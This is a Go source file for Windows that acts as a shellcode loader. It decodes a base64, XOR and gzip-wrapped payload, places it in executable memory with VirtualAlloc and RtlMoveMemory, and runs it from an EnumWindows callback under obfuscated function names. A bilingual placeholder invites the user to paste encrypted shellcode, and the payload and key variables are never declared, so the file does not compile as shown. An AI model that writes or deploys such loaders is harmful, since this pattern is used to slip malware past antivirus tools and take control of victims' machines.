package main

import (
	"bytes"
	"compress/gzip"
	"encoding/base64"
	"fmt"
	"syscall"
	"time"
	"unsafe"
)

var (
	user32        = syscall.NewLazyDLL("user32.dll")
	enumWindows   = user32.NewProc("EnumWindows")
	kernel32      = syscall.NewLazyDLL("kernel32.dll")
	virtualAlloc  = kernel32.NewProc("VirtualAlloc")
	rtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
)

var (
	加密之后的shellcode粘贴到这里！！！！
	Paste the encrypted shellcode here!!! 
)

func BMoOekfc(data []byte, key byte) []byte {
	for i := 0; i < len(data); i++ {
		data[i] ^= key
	}
	return data
}

func fbCWkPgt(hwnd syscall.Handle, lparam uintptr) uintptr {
	go func() {
		fmt.Println("[*] 正在解码数据...")
		decoded, _ := base64.StdEncoding.DecodeString(shellcodeEncoded)
		xored := BMoOekfc(decoded, xorKey)
		r, _ := gzip.NewReader(bytes.NewReader(xored))
		buf := new(bytes.Buffer)
		buf.ReadFrom(r)
		r.Close()
		shellcode := buf.Bytes()

		addr, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), 0x3000, 0x40)
		rtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
		syscall.Syscall(addr, 0, 0, 0, 0)
	}()
	return 1
}

func main() {
	fmt.Println("[*] 启动初始化...")
	time.Sleep(2 * time.Second)
	enumWindows.Call(syscall.NewCallback(fbCWkPgt), 0)
	fmt.Println("[*] 正在处理中...")
	time.Sleep(10 * time.Second)
}
